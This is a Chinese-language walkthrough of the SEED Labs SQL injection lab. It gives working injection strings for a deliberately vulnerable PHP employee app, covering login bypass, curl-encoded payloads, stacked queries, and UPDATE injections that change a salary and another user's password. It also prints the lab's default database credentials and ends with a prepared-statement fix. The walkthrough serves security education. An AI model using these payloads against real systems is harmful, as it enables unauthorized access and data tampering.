软件安全实验——lab8(SQL注入)(下)(旧虚拟机SEEDUbuntu12.04版本实验)

本文主要是介绍软件安全实验——lab8(SQL注入)(下)(旧虚拟机SEEDUbuntu12.04版本实验),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录标题

  • 2、实验室环境
    • 2.1环境配置
    • 2.2关闭对策
    • 2.3通过修补已有虚拟机,添加Web应用
  • 3、实验室的任务
    • 3.1任务1:MysQL控制台
    • 3.2任务2:针对SELECT语句的SQL注入攻击
      • 任务2.1
        • (1)在不知道任何员工凭证的情况下,登陆应用程序
        • (2)隔断的方式登录admin账户
        • (3)#注释代码的方式登录admin账户
      • 任务2.2
      • 任务2.3
    • 3.3任务3:针对UPDATE语句的SQL注入攻击
      • 任务3.1
      • 任务3.2
    • 3.4任务4:对策-准备声明

2、实验室环境

您需要为这个实验室使用我们提供的虚拟机映像。支持这个实验室的虚拟机映像的名称是SEEDUbuntu12.04.zip。如果您碰巧有我们预构建的VM镜像的老版本,您需要下载最新的版本,因为老版本不支持本实验室。请访问我们的SEED页面e (http://www.cis.syr.edu/˜wedu/seed/)获取SEEDUbuntu VM镜像。

2.1环境配置

在这个实验中,我们需要三个工具,它们应该安装在提供的SEEDubuntu VM镜像中:(1)Firefox web浏览器,(2)Apache web服务器,(3)Employee Management web应用程序。对于浏览器,我们需要使用Firefox的LiveHTTPHeaders 扩展来检查HTTP请求和响应。提供给您的预构建的SEEDUbunu VM映像已经安装了带有所需扩展的Firefox web浏览器。Employee Management应用程序没有安装在VM中,但我们稍后将向您展示如何安装它。
启动Apache服务器。Apache web服务器也包含在预构建的Ubuntu镜像中,并且是默认启动的。手动启动web服务器,命令如下:
% sudo service apache2 start
配置DNS。我们已经为这个实验室配置了以下URL。要访问这个URL,需要先启动Apache 服务器:
URL: http://www.SEEDLabSQLInjection.com
文件夹: /var/www/SQLInjection/
上面的URL只能从虚拟机内部访问,因为我们已经修改了/etc/hosts文件,将每个URL的域名映射到虚拟机的本地IP地址(127.0.0.1)。您可以使用/etc/hosts将任何域名映射到特定的IP地址。例如,在/etc/hosts中添加如下条目,将http://www.example.com映射到本地IP地址:

127.0.0.1    www.example.com

如果您的web服务器和浏览器运行在两台不同的机器上,您需要修改/etc/hosts在浏览器的机器上,相应地将这些域名映射到网络服务器的IP地址,而不是127.0.0.1。
在这里插入图片描述

配置Apache服务器。在我们预构建的VM映像中,我们使用Apache服务器托管所有的web实验室使用的站点。Apache中基于名称的虚拟主机功能可以用于托管多个web站点(或url)。在“/etc/apache2/sites-available”目录下创建一个名为default的配置文件包含了必要的配置指令:
1.指令“NameVirtualHost *”指示web服务器使用机器中的所有IP地址(有些机器可能有多个IP地址)。
2.每个网站都有一个VirtualHost块,它指定网站的URL和包含网站源的文件系统中的目录。例如,配置一个URL为http://www.example1.com的网站,源文件位于/var/www/Example_1/目录下,和配置URL为http://www.example2.com的网站,源代码在目录/var/www/Example_2/,我们可以使用以下块:

<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>

您可以通过访问上述目录中的源代码来修改 web应用程序。例如,使用上面的配置,可以通过修改目录/var/wwwl example_1中的源来修改web应用程序 http://www.example1.com.

在这里插入图片描述

2.2关闭对策

PHP提供了一种自动防御SQL注入攻击的机制。这个方法被称为魔术引用。让我们关掉这个保护。

1. 打开/etc/php5/apache2/php.ini.
2. 找到这一行: magic_quotes_gpc = On.
3. 把它改成这样: magic_quotes_gpc = Off.
4. 重启apache服务通过"sudo service apache2 restart".

在这里插入图片描述

重启apache2服务器

sudo service apache2 restart

在这里插入图片描述

2.3通过修补已有虚拟机,添加Web应用

我们为本实验室开发了一个简单的员工管理 web应用程序,该web应用程序用于存储员工个人信息。我们己经为这个应用程序创建了几个员工帐户。要查看所有员工的账号信息,可以以管理员身份登录www.SEEDLabSQLInjection.com(员工ID为99999)。
您从我们的课程网站下载的SEEDUbuntu12.04图片不包括这个web应用程序。你需要为这个实验打补丁。你可以从我们的课程网站下载补丁文件patch.tar.gz。该文件包括 web应用程序和一个脚本,该脚本将安装本实验室所需的所有文件。将 patch.tar.g放在任意文件夹中,解压缩,并运行一个名为bootstrap.sh的脚本。VM现在将为这个实验室做好准备。

$ tar -zxvf ./patch.tar.gz
$ cd patch
$ chmod a+x bootstrap.sh
$ ./bootstrap.sh

sh脚本在我们现有的SEEDUbuntu VM中创建一个名为Users的新数据库,将数据加载到数据库中,设置虚拟主机URL,最后修改本地DNS配置。如果您有兴趣手动进行设置,请参阅附录部分了解详细信息。

解压缩补丁,运行脚本:
在这里插入图片描述

3、实验室的任务

我们创建了一个web应用程序。并将其托管在www.SEEDLabsQLInjection.com上。这个web应用程序是一个简单的员工管理应用程序。员工可以通过这个 web应用程序在数据库中获取信息查看和更新他们的个人信息。在这个 web应用程序中主要有两种角色:管理员是一个特权角色,可以管理每个员工的个人信息;员工为正常角色,可以查看或更新自己的个人资料。所有员工信息如下表所示。
在这里插入图片描述

3.1任务1:MysQL控制台

本任务的目标是通过使用提供的数据库来熟悉SQL命令。我们已经创建了一个名为Users 的数据库,其中包含一个名为credental的表;该表存储每个员工的个人信息(例如eid、密码、工资、ssn等)。管理员可以修改所有员工的个人信息,但每个员工只能修改自己的个人信息。在本任务中,您需要使用数据库来熟悉SQL查询。
MysQL是一个开源的关系数据库管理系统。我们已经在_SEEDubuntu虚拟机镜像中安装了MysQL。用户名为root,密码为sedubuntu。请使用以下命令登录MySQL控制台:

$ mysql -u root -pseedubuntu

登录后,可以创建新的数据库或加载现有数据库。因为我们已经为您创建了Users 数据库,您只需要使用以下命令加载这个现有的数据库:

mysql> use Users;

要显示Users 数据库中有哪些表,可以使用以下命令打印所选数据库的所有表。

mysql> show tables;

运行以上命令后,需要使用SQL命令打印员工Alice的所有配置文件信息。请提供你的结果的截图。
//进入MYSQL数据库,seedubuntu是mysql的密码

$ mysql -u root -p seedubuntu 

//显示数据库

show databases;    

在这里插入图片描述
//使用数据库

mysql> use Users;   

//显示表

mysql> show tables;  

在这里插入图片描述

打印雇员Alice的所有配置文件信息
在这里插入图片描述

3.2任务2:针对SELECT语句的SQL注入攻击

SQL注入基本上是一种技术,攻击者可以通过它执行自己的恶意SQL语句,通常称为恶意负载。通过恶意SQL语句,攻击者可以窃取受害者数据库中的信息;更糟糕的是,他们可能能够对数据库进行更改。我们的员工管理web应用程序有SQL注入漏洞,这模仿了开发人员经常犯的错误。
您可以登录我们的 web 应用程序的入口页面 www.SEEDLabsQLlnjection.com,在那里您将被要求提供员工D和密码登录。登录页面显示如图1所示。身份验证基于员工ID和密码,因此只有知道自己ID和密码的员工才能查看/更新个人信息。作为攻击者,您的任务是在不知道任何员工的凭证的情况下登录应用程序。

在这里插入图片描述

为了帮助您开始这个任务,我们将解释如何在我们的 web应用程序中实现身份验证。PHP代码unsafe_credential.php位于/var/www/SQLInjection目录下,用于进行用户身份验证。下面的代码片段展示了如何对用户进行身份验证。

$conn = getDB();
$sql = "SELECT id, name, eid, salary, birth, ssn,
phonenumber, address, email, nickname, Password
FROM credential
WHERE eid= ’$input_eid’ and password=’$input_pwd’";
$result = $conn->query($sql))
// The following is psuedo code
if(name==’admin’){
return All employees information.
} else if(name!=NULL){
return employee information.
} else {
authentication fails.
}

上面的SQL语句从凭据表中选择个人员工信息,如 id、姓名、工资,ssn等。变量 input_eid和input_pwd保存用户在登录页面中键入的字符串。基本上,程序检查是否有任何记录与员工ID和密码;如果匹配,则成功地对用户进行身份验证,并给出相应的员工信息。如果不匹配,则认证失败。

任务2.1

·任务2.1:来自网页的 SQL注入攻击。您的任务是以管理员的身份从登录页面登录到web应用,可以看到所有员工的信息。我们假设您知道管理员的帐户名,即admin,但不知道ID或密码。您需要决定在Employee ID和Password字段中键入什么才能成功进行攻击。
SELECT语句的SQL注入攻击

(1)在不知道任何员工凭证的情况下,登陆应用程序

在雇员ID中输入 'or TRUE or ’
在这里插入图片描述

成功登陆第一个用户Alice的账户:
在这里插入图片描述

查看验证登陆的代码unsafe_credential.php:
在这里插入图片描述

所以我们的输入’or TRUE or '传递给SQL语句之后就是:

"SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE eid= ''or TRUE or '' and Password=''";

这样所有的账户都满足这个查询条件,都会返回到array()数组中,只是后来转换成json数据格式之后,只提取了json的第一条数据也就是Alice返回到前端页面登录:
在这里插入图片描述

(2)隔断的方式登录admin账户

知道admin账户名就更简单了,输入:’ or name = ‘admin’ or ’
在这里插入图片描述

所以我们的输入’ or name = ‘admin’ or 传递给SQL语句之后就是:

"SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE eid= '' or name = 'admin' or '' and Password=''";

这样就会返回admin账户的查询结果

(3)#注释代码的方式登录admin账户

另外,我们也可以通过使用#把后面的代码注释掉的方式来登录admin账户,输入:’ or name = ‘admin’ #
在这里插入图片描述

所以我们的输入’ or name = ‘admin’ #传递给SQL语句之后就是:

"SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE eid= '' or name = 'admin' #' and Password=''";

#会把后面的’ and Password=’’";给注释掉,也能给我们返回admin账户的查询结果

任务2.2

·任务2.2:命令行 SQL注入攻击。你的任务是重复任务2.1,但你不需要使用网页。您可以使用命令行工具,例如 curl,它可以发送HTTP请求。值得一提的是,如果你想在HTTP请求中包含多个参数,你需要把URL和参数放在一对单引号之间;否则,用于分隔参数的特殊字符(如&)将由 shell程序解释,从而改变命令的含义。下面的例子展示了如何发送一个HTTP GET请求到我们的 web应用程序,带有两个参数(SUID 和Password ):
curl ’www.SeedLabSQLInjection.com/index.php?SUID=10000&Password=111’
如果需要在SUID和 Password字段中包含特殊字符,则需要正确地对它们进行编码,否则它们可能会改变请求的含义。如果你想在这些字段中包含单引号,你应该使用%27;如果你想包含空格,你应该使用%20。在这个任务中,您确实需要在使用curl发送请求时处理HTTP编码。

请求登陆任务2中的没有任何提示信息的账户:

curl http://www.seedlabsqlinjection.com/unsafe_credential.php?EID=%27or+TRUE+or%27&Password=

在这里插入图片描述

请求登陆任务2.1中的admin管理员的账户:curl 'http://www.seedlabsqlinjection.com/unsafe_credential.php?EID=%27+or+EID%3D%28select+EID+from+credential+where+Name+%3D+%27admin%27%29+or+EID%3D%27&Password=%92or+TRUE+or%92'
在这里插入图片描述

成功返回admin账户的数据包。

任务2.3

·任务2.3:添加一个新的SQL语句。在以上两种攻击中,我们只能
从数据库中窃取信息;如果我们可以在登录页面使用相同的漏洞来修改数据库,那就更好了。一种想法是使用sQL注入攻击将一条SQL语句变成两条,第二条语句是更新或删除语句。在 SQL中,两个SQL语句之间用分号()隔开。请描述如何使用登录页面让服务器运行两条SQL语句。尝试从数据库中删除一条记录,并描述您的观察结果。

最开始数据库中的数据:
select * from credential
在这里插入图片描述

使用查询select语句加更新update语句:select * from credential where EID = ''or TRUE;update credential set Salary = ‘55555’ where Name = ‘Alice’;
在这里插入图片描述

再看数据库中的数据,发现Alice的薪水已经被改成了55555:
在这里插入图片描述

接下来在登录页面中使用相同的漏洞修改数据库,Employee ID和Password框都可以作为攻击的点,输入:'or TRUE;update credential set Salary = ‘55555’ where Name = ‘Alice’;
在这里插入图片描述

结果失败了,因为在MySQL中实现了一种特殊的保护机制mysq_query,它不允许一次提交多个请求,导致我们两个连续的请求就会报错。
在MYSQL中,线上容易不小心UPDATE,DELETE的时候,无加限制条件,从而引起灾难。所以MYSQL有开关可以防止误操作,一定程度上减少发生机会。可以设置:sql_safe_updates。
其中:当sql_safe_updates设置为1时,update:要有where,并查询条件必须使用为索引字段,或者使用limit,或者两个条件同时存在,才能正常执行。delete:where条件中带有索引字段可删除,where中查询条件不是索引,得必须有limit。主要是防止update和deLete没有使用索引导致变更及删除大量数据。参数默认值为0。

3.3任务3:针对UPDATE语句的SQL注入攻击

如果UPDATE语句出现SQL注入漏洞,则危害会更大,因为攻击者可以利用该漏洞修改数据库。在我们的Employee Management应用程序中,有一个Edit Profile页面(图2),允许员工更新他们的 Profile信息,包括昵称、电子邮件、地址、电话号码和密码。要进入这个页面,员工需要先登录。
当员工通过Edit_Profile页面更新他们的信息时,将执行以下SQL UPDATE查询。在unsafe_edit.php文件中实现的PHP代码用于更新员工的概要信息。PHP文件位于/var/www/SQLInjection目录下。

$conn = getDB();
$sql = "UPDATE credential SET nickname=’$nickname’,
email=’$email’,
address=’$address’,
phonenumber=’$phonenumber’,
Password=’$pwd’
WHERE id= ’$input_id’ ";
$conn->query($sql))

在这里插入图片描述

任务3.1

·任务3.1:SQL注入攻击 UPDATE语句-修改工资。如Edit Profile页面所示,员工只能更新昵称、电子邮件、地址、电话号码和密码;他们无权改变工资。只有管理员可以更改工资。如果你是一个恶意的员工(比如Alice),你在这个任务中的目标是通过编辑个人资料页面增加自己的工资。我们假设您确实知道工资存储在一个名为salary 的列中。
假设我是Alice,从前面我们知道了她的Employee ID: 10000 salary: 20000 birth: 9/20 ssn: 10211002 :
在这里插入图片描述

知不知道她的密码也没关系了,
输入10000’ #
在这里插入图片描述

或者输入’ or name = ‘Alice’ or ’
在这里插入图片描述

都能登上Alice账户:
在这里插入图片描述

点击Edit Profile
在这里插入图片描述

输入:Alice1’, Salary='1234567
在这里插入图片描述

返回查看
在这里插入图片描述

Nick Name被改成了Alice1,Salary被改成了1234567
查看unsafe_edit.php文件源代码:
在这里插入图片描述

所以我们的输入拼接成的SQL语句就是

sql = "UPDATE credential SET nickname='Alice1', Salary='1234567',email='',address='',PhoneNumber='' where ID=$input_id;";

从而把Nick Name改成了Alice1,Salary改成了1234567。

任务3.2

·任务3.2:SQL注入攻击UPDATE语句-修改其他人的密码。使用上述UPDATE语句中的相同漏洞,恶意员工也可以更改其他人的数据。此任务的目标是修改另一名员工的密码,然后演示您可以使用新密码成功登录到受害者的帐户。这里的假设是,你已经知道你想攻击的员工(例如Ryan)的名字。这里值得一提的是,数据库存储的是密码的散列值,而不是明文密码字符串。您可以再次查看unsafe_edit.php 代码,以了解密码是如何存储的。使用SHA1哈希函数生成密码的哈希值。
为了确保你的注入字符串不包含任何语法错误,你可以在启动真正的攻击我们的 web应用程序之前在MysQL控制台测试你的注入字符串。
密码在数据库中是用SHA1哈希函数生成密码的哈希值,在unsafe_edit.php 代码中将$input_pwd转换sha1哈希值之后再进行比较:
在这里插入图片描述

所以我们先对一个密码1234取sha1哈希值得到7110eda4d09e062aa5e4a390b0a572ac0d2c0220:
在这里插入图片描述

输入:
Alice1’,Password=‘7110eda4d09e062aa5e4a390b0a572ac0d2c0220’ where name = ‘Ryan’#
在这里插入图片描述

数据库中的值已经被修改了:
在这里插入图片描述

我们在登录页面输入Employee ID:30000和Password:1234
在这里插入图片描述

成功登录Ryan账户:
在这里插入图片描述

3.4任务4:对策-准备声明

SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失了;属性设置的初始边界可能与SQL解释器看到的边界不同
在这里插入图片描述

开发人员。要解决这个问题,确保边界视图在服务器端代码和数据库中是一致的是很重要的。最安全的方法是使用预备语句。
要理解预准备语句如何防止 SQL注入,我们需要了解当SQL服务器接收到查询时会发生什么。图3显示了查询如何执行的高级工作流。在编译步骤中,查询首先经过解析和规范化阶段,在此阶段将根据语法和语义检查查询。下一阶段是编译阶段,关键字(例如SELECT、FROM、UPDATE等)被转换成机器可以理解的格式。基本上,在这个阶段,查询是解释的。在查询优化阶段,将考虑执行查询的不同计划的数量,从中选择最佳的优化计划。选择的计划存储在缓存中,因此每当下一个查询进入时,它将根据缓存中的内容进行检查;如果它已经存在于缓存中,则解析、编译和查询优化阶段将被跳过。然后,编译后的查询被传递到实际执行的执行阶段。
预编译语句出现在编译之后但在执行步骤之前。预编译语句将经过编译步骤,并转换为带有空占位符的预编译查询。要运行这个预编译的查询,需要提供数据,但这些数据不会经过编译步骤;相反,它们被直接插入到预编译的查询中,并发送到执行引擎。因此,即使数据中有sQL代码,不经过编译步骤,代码也将被简单地视为数据的一部分,没有任何特殊含义。预处理语句就是这样防止SQL注入攻击的。
下面是一个如何用PHP编写准备语句的示例。在下面的示例中,我们使用了SELECT 语句。我们将展示如何使用预处理语句重写容易受到SQL注入攻击的代码。

$conn = getDB();
$sql = "SELECT name, local, gender
FROM USER_TABLE
WHERE id = $id AND password =’$pwd’ ";
$result = $conn->query($sql))

以上代码容易受到SQL注入攻击。它可以被改写为以下内容

$conn = getDB();
$stmt = $conn->prepare("SELECT name, local, gender
FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();

使用预处理语句机制,我们将向数据库发送SQL语句的过程分为两个步骤。第一步是只发送代码部分,即没有实际数据的SQL语句。这是准备步骤。正如我们从上面的代码片段中所看到的,实际数据被问号(?)所代替。在这一步之后,我们使用bind_param()将数据发送到数据库。数据库将只将这一步中发送的所有内容视为数据,而不再视为代码。它将数据绑定到预处理语句的相应问号。在bind_sparam()方法中,第一个参数"is"表示参数的类型:"i"表示 i d 中 的 数 据 为 整 数 类 型 , " s " 表 示 id中的数据为整数类型,"s"表示 id"s"pwd中的数据为字符串类型。
对于此任务,请使用准备语句机制修复您在前一个任务中利用的SQL注入漏洞。然后,检查是否仍然可以利用该漏洞。

原来有SQL注入漏洞的代码:
在这里插入图片描述

以上代码容易受到SQL注入攻击。它可以被改写为以下内容:

  /* start make change for prepared statement */$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE eid=  ?  and Password= ? ";if (!$stmt = $conn->prepare($sql)) {die('There was an error running the query [' . $conn->error . ']\n');}/* bind parameters for markers */$stmt->bind_param("is", $input_eid, $input_pwd);/* execute query */$stmt->execute();/* bind result variables */$stmt->bind_result($id, $name, $eid,$salary,$birth,$ssn,$phoneNumber,$address,$email,$nickname,$pwd);	/* fetch value */$stmt->fetch();……
$stmt->close();

在这里插入图片描述

修改之后的完整的代码文件unsafe_credential.php:

<!-- 
SEED Lab: SQL Injection Education Web plateform
Author: Kailiang Ying
Email: kying@syr.edu
--><!DOCTYPE html>
<html>
<body><!-- link to ccs-->
<link href="style_home.css" type="text/css" rel="stylesheet"><div class=wrapperR>
<p>
<button onclick="location.href = 'logoff.php';" id="logoffBtn" >LOG OFF</button>
</p>
</div><?php$input_eid = $_GET['EID'];$input_pwd = $_GET['Password']; $input_pwd = sha1($input_pwd);// check if it has exist login sessionsession_start(); if($input_eid=="" and $input_pwd==sha1("") and $_SESSION['name']!="" and $_SESSION['pwd']!=""){$input_eid = $_SESSION['eid'];$input_pwd = $_SESSION['pwd']; } $conn = getDB();/* start make change for prepared statement */$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE eid=  ?  and Password= ? ";if (!$stmt = $conn->prepare($sql)) {die('There was an error running the query [' . $conn->error . ']\n');}/* bind parameters for markers */$stmt->bind_param("is", $input_eid, $input_pwd);/* execute query */$stmt->execute();/* bind result variables */$stmt->bind_result($id, $name, $eid,$salary,$birth,$ssn,$phoneNumber,$address,$email,$nickname,$pwd);	/* fetch value */$stmt->fetch();if($id!=""){drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber); }else{echo "The account information your provide does not exist\n"; return;}/* end change for prepared statement */ $stmt->close();$conn->close();	function getDB() {$dbhost="localhost";$dbuser="root";$dbpass="seedubuntu";$dbname="Users";// Create a DB connection$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error . "\n");}
return $conn;
}function   drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber){ if($id!=""){session_start(); $_SESSION['id'] = $id;	$_SESSION['eid'] = $eid;$_SESSION['name'] = $name;	$_SESSION['pwd'] = $pwd;}else{echo "can not assign session";}if ($name !="Admin") {echo "<br><h3> $name Profile</h3>";echo "<table>"; echo "<tr>"; echo "<td>Employee ID</td>";echo "<td>$eid</td>";echo "</tr>";echo "<tr>";echo "<td>Salary</td>";echo "<td>$salary</td>";echo "</tr>";echo "<tr>";echo "<td>Birth</td>";echo "<td>$birth</td>";echo "</tr>";echo "<tr>";echo "<td>SSN</td>";echo "<td>$ssn</td>";echo "</tr>";echo "<tr>";echo "<td>NickName</td>";echo "<td>$nickname</td>";echo "</tr>";echo "<tr>";echo "<td>Email</td>";echo "<td>$email</td>";echo "</tr>";echo "<tr>";echo "<td>Address</td>";echo "<td>$address</td>";echo "</tr>";echo "<tr>";echo "<td>Phone Number</td>";echo "<td>$phoneNumber</td>";echo "</tr>";echo "</table>";}else {$conn = getDB();$sql = "SELECT id, name, eid, salary, birth, ssn, password, nickname, email, address, phoneNumber FROM credential"; if (!$result = $conn->query($sql)) {die('There was an error running the query [' . $conn->error . ']\n');}$return_arr = array();while($row = $result->fetch_assoc()){array_push($return_arr,$row);}$json_str = json_encode($return_arr);$json_aa = json_decode($json_str,true);$conn->close();	$max = sizeof($json_aa);  	for($i=0; $i< $max;$i++){//TODO: printout all the data for that users. 		$i_id = $json_aa[$i]['id']; $i_name= $json_aa[$i]['name']; $i_eid= $json_aa[$i]['eid']; $i_salary= $json_aa[$i]['salary']; $i_birth= $json_aa[$i]['birth']; $i_ssn= $json_aa[$i]['ssn']; $i_pwd = $json_aa[$i]['Password'];$i_nickname= $json_aa[$i]['nickname']; $i_email= $json_aa[$i]['email']; $i_address= $json_aa[$i]['address']; $i_phoneNumber= $json_aa[$i]['phoneNumber']; echo "<br><h4> $i_name Profile</h4>";echo "Employee ID: $i_eid     ";echo "salary: $i_salary     ";echo "birth: $i_birth    ";echo "ssn: $i_ssn    ";echo "nickname: $i_nickname";echo "email: $i_email";echo "address: $i_address";echo "phone number: $i_phoneNumber";}}
}
?><div class=wrapperL>
<p>
<button onclick="location.href = 'edit.php';" id="editBtn" >Edit Profile</button>
</p>
</div><div id="page_footer" class="green">
<p>
Copyright &copy; SEED LABs
</p>
</div>
</body>
</html> 

尝试攻击输入:'or TRUE or ’
在这里插入图片描述

结果’or TRUE or '被当作了用户名
在这里插入图片描述

其他的攻击结果也是一样:
’ or name = ‘admin’ or ’
在这里插入图片描述
在这里插入图片描述

Prepared预处理通过sql逻辑与数据的分离来增加安全,使用预处理语句,可信的代码通过代码通道被发送,不可信的用户数据通过数据通道被发送,当数据库通过数据通道收到数据时,即使其中藏有代码,这段代码也不会被当作成真正的代码被执行,只会被当作普通数据。
Prepared预处理只运行分析一次,在初始话Prepared时,mysql将检查语法并准备语句的运行,当执行query多次时,这样就不会在有额外的负担了,当运行query 很多次的时候(如:insert)这种预处理有很大的性能提高。

这篇关于软件安全实验——lab8(SQL注入)(下)(旧虚拟机SEEDUbuntu12.04版本实验)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/190221

相关文章

Mysql 中的多表连接和连接类型详解

《Mysql中的多表连接和连接类型详解》这篇文章详细介绍了MySQL中的多表连接及其各种类型,包括内连接、左连接、右连接、全外连接、自连接和交叉连接,通过这些连接方式,可以将分散在不同表中的相关数据... 目录什么是多表连接?1. 内连接(INNER JOIN)2. 左连接(LEFT JOIN 或 LEFT

mysql重置root密码的完整步骤(适用于5.7和8.0)

《mysql重置root密码的完整步骤(适用于5.7和8.0)》:本文主要介绍mysql重置root密码的完整步骤,文中描述了如何停止MySQL服务、以管理员身份打开命令行、替换配置文件路径、修改... 目录第一步:先停止mysql服务,一定要停止!方式一:通过命令行关闭mysql服务方式二:通过服务项关闭

SQL Server数据库磁盘满了的解决办法

《SQLServer数据库磁盘满了的解决办法》系统再正常运行,我还在操作中,突然发现接口报错,后续所有接口都报错了,一查日志发现说是数据库磁盘满了,所以本文记录了SQLServer数据库磁盘满了的解... 目录问题解决方法删除数据库日志设置数据库日志大小问题今http://www.chinasem.cn天发

你的华为手机升级了吗? 鸿蒙NEXT多连推5.0.123版本变化颇多

《你的华为手机升级了吗?鸿蒙NEXT多连推5.0.123版本变化颇多》现在的手机系统更新可不仅仅是修修补补那么简单了,华为手机的鸿蒙系统最近可是动作频频,给用户们带来了不少惊喜... 为了让用户的使用体验变得很好,华为手机不仅发布了一系列给力的新机,还在操作系统方面进行了疯狂的发力。尤其是近期,不仅鸿蒙O

mysql主从及遇到的问题解决

《mysql主从及遇到的问题解决》本文详细介绍了如何使用Docker配置MySQL主从复制,首先创建了两个文件夹并分别配置了`my.cnf`文件,通过执行脚本启动容器并配置好主从关系,文中还提到了一些... 目录mysql主从及遇到问题解决遇到的问题说明总结mysql主从及遇到问题解决1.基于mysql

什么是 Ubuntu LTS?Ubuntu LTS和普通版本区别对比

《什么是UbuntuLTS?UbuntuLTS和普通版本区别对比》UbuntuLTS是Ubuntu操作系统的一个特殊版本,旨在提供更长时间的支持和稳定性,与常规的Ubuntu版本相比,LTS版... 如果你正打算安装 Ubuntu 系统,可能会被「LTS 版本」和「普通版本」给搞得一头雾水吧?尤其是对于刚入

Ubuntu 怎么启用 Universe 和 Multiverse 软件源?

《Ubuntu怎么启用Universe和Multiverse软件源?》在Ubuntu中,软件源是用于获取和安装软件的服务器,通过设置和管理软件源,您可以确保系统能够从可靠的来源获取最新的软件... Ubuntu 是一款广受认可且声誉良好的开源操作系统,允许用户通过其庞大的软件包来定制和增强计算体验。这些软件

windows端python版本管理工具pyenv-win安装使用

《windows端python版本管理工具pyenv-win安装使用》:本文主要介绍如何通过git方式下载和配置pyenv-win,包括下载、克隆仓库、配置环境变量等步骤,同时还详细介绍了如何使用... 目录pyenv-win 下载配置环境变量使用 pyenv-win 管理 python 版本一、安装 和

MySQL的索引失效的原因实例及解决方案

《MySQL的索引失效的原因实例及解决方案》这篇文章主要讨论了MySQL索引失效的常见原因及其解决方案,它涵盖了数据类型不匹配、隐式转换、函数或表达式、范围查询、LIKE查询、OR条件、全表扫描、索引... 目录1. 数据类型不匹配2. 隐式转换3. 函数或表达式4. 范围查询之后的列5. like 查询6

Linux下MySQL8.0.26安装教程

《Linux下MySQL8.0.26安装教程》文章详细介绍了如何在Linux系统上安装和配置MySQL,包括下载、解压、安装依赖、启动服务、获取默认密码、设置密码、支持远程登录以及创建表,感兴趣的朋友... 目录1.找到官网下载位置1.访问mysql存档2.下载社区版3.百度网盘中2.linux安装配置1.